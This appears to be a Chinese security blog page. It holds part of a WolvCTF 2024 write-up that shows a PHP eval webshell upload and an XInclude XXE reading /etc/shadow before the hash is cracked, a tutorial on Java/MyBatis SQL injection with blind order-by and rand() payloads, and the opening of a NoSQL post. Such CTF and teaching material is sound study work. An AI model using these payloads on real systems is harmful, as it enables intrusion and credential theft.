please"</span>;</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">include</span> <span class="variable">$path</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="title function_ invoke__">highlight_file</span>(<span class="string">"index.php"</span>);</span><br><span class="line"> }</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure>
<p>首先分析一下源码,源码通过POST方式来上传文件并且上传的文件不能包含<code>..</code>用GET的方式来读取文件也不能带有<code>..</code>,上传的文件在<code>uploads</code>目录下,但是我们不知道<code>$hash</code>是什么。</p>
<p>通过谷歌得知在linux种文件名的长度最大可为255个字符,我们可以通过这种方式让它报错来得知他的值</p>
<p><img src="/./pic/WolvCTF2024/upload.png"></p>
<p>我们可以看到他的回显告诉我们了hash的值,然后我们再上传一句话木马访问即可。</p>
<p>POST上传文件的请求体模板:</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/2</span><br><span class="line">Host: </span><br><span class="line">Cache-Control: max-age=0</span><br><span class="line">Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"</span><br><span class="line">Sec-Ch-Ua-Mobile: ?0</span><br><span class="line">Sec-Ch-Ua-Platform: "Windows"</span><br><span class="line">Upgrade-Insecure-Requests: 1</span><br><span class="line">Origin: https://0ad900b10331bc6f843fbff300b80018.web-security-academy.net</span><br><span class="line">Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylZktl8pLMuKyOfBy</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7</span><br><span class="line">Sec-Fetch-Site: same-origin</span><br><span class="line">Sec-Fetch-Mode: navigate</span><br><span class="line">Sec-Fetch-User: ?1</span><br><span class="line">Sec-Fetch-Dest: document</span><br><span class="line">Accept-Encoding: gzip, deflate, br</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.9,en;q=0.8</span><br><span class="line">Content-Length: 198</span><br><span class="line"></span><br><span class="line">------WebKitFormBoundarylZktl8pLMuKyOfBy</span><br><span class="line">Content-Disposition: form-data; name=""; filename=""</span><br><span class="line">Content-Type: </span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><?php eval($_POST['1'])?></span><br><span class="line">------WebKitFormBoundarylZktl8pLMuKyOfBy</span><br></pre></td></tr></table></figure>
<h2 id="Username"><a href="#Username" class="headerlink" title="Username"></a>Username</h2><p>题目提示了jwt可以爆破,那这道题肯定和jwt伪造有关。</p>
<p>用jwt-cracker爆破密钥,为<code>mstzt</code></p>
<p>因为有<data>标签,所以判断为xxe注入,但是正常的xxe他会有过滤,不能引用东西。可以使用<code>XInclude attack</code>关于<a target="_blank" rel="noopener" href="https://d0pt3x.gitbook.io/passion/webapp-security/xxe-attacks/xinclude-attacks">XInclude attack</a></data></p>
<p>读取/app/app.py文件</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> flask</span><br><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask, render_template, request, url_for</span><br><span class="line"><span class="keyword">import</span> jwt</span><br><span class="line"><span class="keyword">from</span> lxml <span class="keyword">import</span> etree</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> tempfile</span><br><span class="line"></span><br><span class="line">app = Flask(__name__)</span><br><span class="line"></span><br><span class="line">FLAG = os.environ.get(<span class="string">'FLAG'</span>) <span class="keyword">or</span> <span class="string">'wcft{fake-flag}'</span></span><br><span class="line">FLAGUSER_PASSWORD = os.environ.get(<span class="string">'FLAGUSER_PASSWORD'</span>) <span class="keyword">or</span> <span class="string">'fake-password'</span></span><br><span class="line"></span><br><span class="line">JWT_SECRET = os.environ.get(<span class="string">'JWT_SECRET'</span>) <span class="keyword">or</span> <span class="string">'secret'</span></span><br><span class="line"></span><br><span class="line">JWT_ALG = <span class="string">'HS256'</span></span><br><span class="line">JWT_COOKIE = <span class="string">'appdata'</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/'</span></span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">root</span>():</span><br><span class="line"> <span class="keyword">return</span> render_template(<span class="string">"index.html"</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/secret-welcome-935734'</span>, methods=[<span class="string">'GET'</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">secret_welcome</span>():</span><br><span class="line"> <span class="comment"># There is a linux user named 'flaguser'</span></span><br><span class="line"> <span class="comment"># Login here with that username and their linux password.</span></span><br><span class="line"> auth = request.authorization</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> auth <span class="keyword">is</span> <span class="literal">None</span> <span class="keyword">or</span> auth.username != <span class="string">'flaguser'</span> <span class="keyword">or</span> auth.password != FLAGUSER_PASSWORD:</span><br><span class="line"> resp = flask.Response(<span class="string">'Please provide the right credentials to get the flag'</span>)</span><br><span class="line"> resp.headers[<span class="string">'WWW-Authenticate'</span>] = <span class="string">'Basic'</span></span><br><span class="line"> <span class="keyword">return</span> resp, <span class="number">401</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="string">f'Congrats, here is your flag: <span class="subst">{FLAG}</span>'</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/welcome'</span>, methods=[<span class="string">'GET'</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">welcome</span>():</span><br><span class="line"> cookie = request.cookies.get(JWT_COOKIE)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> cookie:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">f'Error: missing <span class="subst">{JWT_COOKIE}</span> cookie value'</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> jwtData = jwt.decode(cookie, JWT_SECRET, algorithms=[JWT_ALG])</span><br><span class="line"> <span class="keyword">except</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'Error: unable to decode JWT cookie'</span>, <span class="number">400</span></span><br><span class="line"></span><br><span class="line"> data = jwtData[<span class="string">'data'</span>]</span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> data:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'Error: missing data field from decoded JWT'</span>, <span class="number">400</span></span><br><span class="line"></span><br><span class="line"> xmlText = <span class="built_in">str</span>(data)</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'&'</span> <span class="keyword">in</span> xmlText:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'Error: No entity references please'</span>, <span class="number">400</span></span><br><span class="line"> <span class="keyword">if</span> <span class="string">'%'</span> <span class="keyword">in</span> xmlText:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'Error: No parameter file entities please'</span>, <span class="number">400</span></span><br><span class="line"></span><br><span class="line"> tmp = tempfile.NamedTemporaryFile()</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Open the file for writing.</span></span><br><span class="line"> <span class="keyword">with</span> <span class="built_in">open</span>(tmp.name, <span class="string">'w'</span>) <span class="keyword">as</span> f:</span><br><span class="line"> f.write(xmlText)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> parser = etree.XMLParser(resolve_entities=<span class="literal">False</span>)</span><br><span class="line"> xmlDoc = etree.parse(tmp.name, parser=parser)</span><br><span class="line"> xmlDoc.xinclude()</span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'XML Error:'</span>, e)</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'Error: Error parsing XML'</span>, <span class="number">400</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> usernameElement = xmlDoc.find(<span class="string">'username'</span>)</span><br><span class="line"> <span class="keyword">if</span> usernameElement <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'Error: Missing username element in XML'</span>, <span class="number">400</span></span><br><span class="line"></span><br><span class="line"> username = usernameElement.text</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> render_template(<span class="string">"welcome.html"</span>, username=username)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/register'</span>, methods=[<span class="string">'POST'</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">register</span>():</span><br><span class="line"> username = request.form.get(<span class="string">'username'</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> username:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'Error: username is required'</span>, <span class="number">400</span></span><br><span class="line"></span><br><span class="line"> username = <span class="built_in">str</span>(username)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> re.<span class="keyword">match</span>(<span class="string">'^[a-z] $'</span>, username):</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'Error: username must be only lowercase letters'</span>, <span class="number">400</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">len</span>(username) < <span class="number">3</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'Error: username must be at least 3 letters'</span>, <span class="number">400</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">len</span>(username) > <span class="number">20</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'Error: username must be no longer than 20 letters'</span>, <span class="number">400</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># Useful for chal development</span></span><br><span class="line"> <span class="comment"># username = '<xi:include xmlns:xi="http://www.w3.org/2001/XInclude" href="/app/app.py" parse="text"/>'</span></span><br><span class="line"> xml = <span class="string">f'<data><username><span class="subst">{username}</span></username></data>'</span></span><br><span class="line"></span><br><span class="line"> jwtData = {<span class="string">"data"</span>: xml}</span><br><span class="line"></span><br><span class="line"> cookie = jwt.encode(jwtData, JWT_SECRET, algorithm=JWT_ALG)</span><br><span class="line"></span><br><span class="line"> response = flask.make_response(<span class="string">f'hello <span class="subst">{username}</span>'</span>)</span><br><span class="line"> response.set_cookie(JWT_COOKIE, cookie)</span><br><span class="line"></span><br><span class="line"> response.headers[<span class="string">'location'</span>] = url_for(<span class="string">'welcome'</span>)</span><br><span class="line"> <span class="keyword">return</span> response, <span class="number">302</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line"> app.run(debug=<span class="literal">False</span>)</span><br></pre></td></tr></table></figure>
<p>在这个文件里可以得知,有一个新的路由<code>/secret-welcome-935734</code>在这里登陆成功后得到flag,用户名为<code>flaguser</code>,密码我们可以用xxe读取<code>/etc/passwd或者/etc/shadow</code>在shadow中我们得知密码为<code>$1$hack$BzqsFHqkPjQ2Sn9amFsgN0</code>这个可以利用<code>hashcat</code>爆破</p>
<p>关于hashcat的用法<a target="_blank" rel="noopener" href="https://www.jianshu.com/p/9909ce4c9e7c"></a></p>
<p>爆破出来密码是<code>qqz3</code>登录得到flag</p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
<article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
<link itemprop="mainEntityOfPage" href="http://example.com/2024/03/16/java%E6%B3%A8%E5%85%A5%E5%AD%A6%E4%B9%A0/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="吕宙航">
<meta itemprop="description" content="">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="lvzhouhang">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2024/03/16/java%E6%B3%A8%E5%85%A5%E5%AD%A6%E4%B9%A0/" class="post-title-link" itemprop="url">java注入学习</a>
</h2>
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-o"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建时间:2024-03-16 20:56:44" itemprop="dateCreated datePublished" datetime="2024-03-16T20:56:44+08:00">2024-03-16</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-check-o"></i>
</span>
<span class="post-meta-item-text">更新于</span>
<time title="修改时间:2024-03-17 17:26:32" itemprop="dateModified" datetime="2024-03-17T17:26:32+08:00">2024-03-17</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-folder-o"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/web/" itemprop="url" rel="index"><span itemprop="name">web</span></a>
</span>
,
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/web/java/" itemprop="url" rel="index"><span itemprop="name">java</span></a>
</span>
</span>
<br>
<span class="post-meta-item" title="本文字数">
<span class="post-meta-item-icon">
<i class="fa fa-file-word-o"></i>
</span>
<span class="post-meta-item-text">本文字数:</span>
<span>2.7k</span>
</span>
<span class="post-meta-item" title="阅读时长">
<span class="post-meta-item-icon">
<i class="fa fa-clock-o"></i>
</span>
<span class="post-meta-item-text">阅读时长 ≈</span>
<span>2 分钟</span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h2 id="JDBC"><a href="#JDBC" class="headerlink" title="JDBC"></a>JDBC</h2><h3 id="JDBC是什么"><a href="#JDBC是什么" class="headerlink" title="JDBC是什么"></a>JDBC是什么</h3><p><strong>J</strong>ava <strong>D</strong>ata<strong>B</strong>ase <strong>C</strong>onnectivity(Java语言连接数据库)</p>
<table>
<thead>
<tr>
<th>接口或类</th>
<th>作用</th>
</tr>
</thead>
<tbody><tr>
<td><strong>DriverManager类</strong></td>
<td>1)管理和注册数据库驱动<br>2)得到数据库连接对象</td>
</tr>
<tr>
<td><strong>Connection接口</strong></td>
<td>一个连接对象,可用于创建Statement和PreparedStatement对象</td>
</tr>
<tr>
<td><strong>Statemen接口</strong></td>
<td>一个SQL语句对象,用于将SQL语句发送给数据库服务器</td>
</tr>
<tr>
<td><strong>PreparedStetemen接口</strong></td>
<td>一个SQL语句对象,是Statemen的子接口</td>
</tr>
<tr>
<td><strong>ResultSet接口</strong></td>
<td>用于封装数据库查询的结果集,返回给数据库Java程序</td>
</tr>
</tbody></table>
<table>
<thead>
<tr>
<th>加载和注册驱动的方法</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Class.forName(数据库驱动实现类)</strong></td>
<td>加载和注册数据库驱动,数据库驱动由mysql厂商”com.mysql.jbdc.Driver”</td>
</tr>
</tbody></table>
<p>PrepareStatement会对SQL语句进行预编译,但如果直接采取拼接的方式构造SQL,此时进行预编译也无用。</p>
<p>Statement不会对SQL语句进行预编译。</p>
<p>两种操作都是因为SQL语句拼接导致的SQL注入。</p>
<h2 id="MyBatis框架"><a href="#MyBatis框架" class="headerlink" title="MyBatis框架"></a>MyBatis框架</h2><p>在mybatis中的,使用<code>#</code>包裹的字段在内部进行了预编译处理,而<code>$</code>并没有使用预编译,也就是JDBC中prepareStatement和Statement的区别。mybatis的sql语句通常是写在xml文件中。</p>
<h3 id="order-by-盲注"><a href="#order-by-盲注" class="headerlink" title="order by 盲注"></a>order by 盲注</h3><p>在SQL中是不允许union直接跟在order by后面的,所以我们可以考虑使用盲注或报错注入。</p>
<p>我的理解就是通过order by将列进行排序,通过返回的不同结果</p>
<p>举个简单的例子:</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">MariaDB [test]> select * from user order by (if(substr((select username from user limit 0,1),1,1)='1',sleep(1),1));</span><br><span class="line">+------------------+------------+</span><br><span class="line">| username | password |</span><br><span class="line">+------------------+------------+</span><br><span class="line">| Nakajima Ayato | 9CXLGSEWDO |</span><br><span class="line">| Mildred Green | r8ZPbvDXBC |</span><br><span class="line">| Ito Momoe | qao7ysP90D |</span><br><span class="line">| Lo On Kay | x8rGVqTQqd |</span><br><span class="line">| Kobayashi Sakura | lYiv7UO8Yo |</span><br><span class="line">+------------------+------------+</span><br><span class="line">5 rows in set (0.002 sec)</span><br><span class="line"></span><br><span class="line">MariaDB [test]> select * from user order by (if(substr((select username from user limit 0,1),1,1)='N',sleep(1),1));</span><br><span class="line">+------------------+------------+</span><br><span class="line">| username | password |</span><br><span class="line">+------------------+------------+</span><br><span class="line">| Nakajima Ayato | 9CXLGSEWDO |</span><br><span class="line">| Mildred Green | r8ZPbvDXBC |</span><br><span class="line">| Ito Momoe | qao7ysP90D |</span><br><span class="line">| Lo On Kay | x8rGVqTQqd |</span><br><span class="line">| Kobayashi Sakura | lYiv7UO8Yo |</span><br><span class="line">+------------------+------------+</span><br><span class="line">5 rows in set (5.004 sec)</span><br></pre></td></tr></table></figure>
<p>可以看到,当if语句成立时返回的时间为5s,但是不成立时为0.002s</p>
<p>这是基于时间的盲注。</p>
<p>还可以利用其它的方式来进行盲注</p>
<p>例如:</p>
<figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">MariaDB [test]<span class="operator">></span> <span class="keyword">select</span> <span class="operator">*</span> <span class="keyword">from</span> <span class="keyword">user</span> <span class="keyword">order</span> <span class="keyword">by</span> if(substr((<span class="keyword">select</span> username <span class="keyword">from</span> <span class="keyword">user</span> limit <span class="number">0</span>,<span class="number">1</span>),<span class="number">1</span>,<span class="number">1</span>)<span class="operator">=</span><span class="string">'a'</span>,<span class="number">1</span>,(<span class="keyword">select</span> host <span class="keyword">from</span> mysql.user));</span><br><span class="line">ERROR <span class="number">1242</span> (<span class="number">21000</span>): Subquery <span class="keyword">returns</span> more than <span class="number">1</span> <span class="type">row</span></span><br></pre></td></tr></table></figure>
<p>如果if语句错误就会返回<code>ERROR 1242 (21000): Subquery returns more than 1 row</code>,当if成立时就会返回正常页面,可以通过返回的情况来判断。</p>
<h3 id="rand-盲注"><a href="#rand-盲注" class="headerlink" title="rand()盲注"></a>rand()盲注</h3><p>原理和order by大差不差,就是rand()会产生一个0-1之间的随机数,我们给一个固定的种子就会生成一个固定的数,所以我们控制rand的种子就可以造成排序的结果不同。</p>
<p>比如:</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">rand(1)</span><br><span class="line">rand(0)</span><br><span class="line">rand(1=1)</span><br><span class="line">rand(lenth(database())=8)</span><br><span class="line">....</span><br></pre></td></tr></table></figure>
<h3 id="和-符号的区别"><a href="#和-符号的区别" class="headerlink" title="#和$符号的区别"></a>#和$符号的区别</h3><p><strong>#{}</strong> </p>
<p>使用#{}意味着使用的预编译的语句,即在使用jdbc时的preparedStatement,sql语句中如果存在参数则会使用?作占位符,我们知道这种方式可以防止sql注入,并且在使用#{}时形成的sql语句,已经带有引号,例,select * from table1 where id=#{id} 在调用这个语句时我们可以通过后台看到打印出的sql为:select * from table1 where id=’2’ 加入传的值为2.也就是说在组成sql语句的时候把参数默认为字符串。</p>
<p><strong>${}</strong></p>
<p>使用${}时的sql不会当做字符串处理,是什么就是什么,如上边的语句:select * from table1 where id=${id} 在调用这个语句时控制台打印的为:select * from table1 where id=2 ,假设传的参数值为2</p>
<p>从上边的介绍可以看出这两种方式的区别,我们最好是能用#{}则用它,因为它可以防止sql注入,且是预编译的,在需要原样输出时才使用${},如,</p>
<p>select * from ${tableName} order by ${id} 这里需要传入表名和按照哪个列进行排序 ,加入传入table1、id 则语句为:select * from table1 order by id</p>
<p>如果是使用#{} 则变成了select * from ‘table1’ order by ‘id’ 我们知道这样就不对了。</p>
<p>另,在使用以下的配置时,必须使用#{}</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><select id="selectMessageByIdI" parameterType="int" resultType="Message"></span><br><span class="line"> </span><br><span class="line"> select * from message where id=#{id};</span><br><span class="line"> </select></span><br></pre></td></tr></table></figure>
<p>在parameterType是int时,sql语句中必须是#{}。</p>
<h2 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h2><p> <a target="_blank" rel="noopener" href="https://www.freebuf.com/articles/web/360733.html">关于Java中order by注入详解</a></p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
<article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
<link itemprop="mainEntityOfPage" href="http://example.com/2024/03/12/NoSQL%E6%B3%A8%E5%85%A5/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="吕宙航">
<meta itemprop="description" content="">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="lvzhouhang">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2024/03/12/NoSQL%E6%B3%A8%E5%85%A5/" class="post-title-link" itemprop="url">NoSQL注入</a>
</h2>
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-o"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建时间:2024-03-12 15:28:01 / 修改时间:15:57:19" itemprop="dateCreated datePublished" datetime="2024-03-12T15:28:01+08:00">2024-03-12</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-folder-o"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/web/" itemprop="url" rel="index"><span itemprop="name">web</span></a>
</span>
</span>
<br>
<span class="post-meta-item" title="本文字数">
<span class="post-meta-item-icon">
<i class="fa fa-file-word-o"></i>
</span>
<span class="post-meta-item-text">本文字数:</span>
<span>1.7k</span>
</span>
<span class="post-meta-item" title="阅读时长">
<span class="post-meta-item-icon">
<i class="fa fa-clock-o"></i>
</span>
<span class="post-meta-item-text">阅读时长 ≈</span>
<span>2 分钟</span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h2 id="什么是NoSQL"><a href="#什么是NoSQL" class="headerlink" title="什么是NoSQL"></a>什么是NoSQL</h2><p>NoSQL,指的是非关系型的数据库。NoSQL 有时也称作 Not Only SQL 的缩写,是对不同于传统的<a target="_blank" rel="noopener" href="https://cloud.tencent.com/product/cdb-overview?from_column=20065&from=20065">关系型数据库</a>的<a target="_blank" rel="noopener" href="https://cloud.tencent.com/product/dbbrain?from_column=20065&from=20065">数据库管理</a>系统的统称。NoSQL 用于超大规模数据的存储。(例如谷歌或 Facebook 每天为他们的用户收集万亿比特的数据)。这些类型的数据存储不需要固定的模式,无需多余操作就可以横向扩展。</p>
<hr>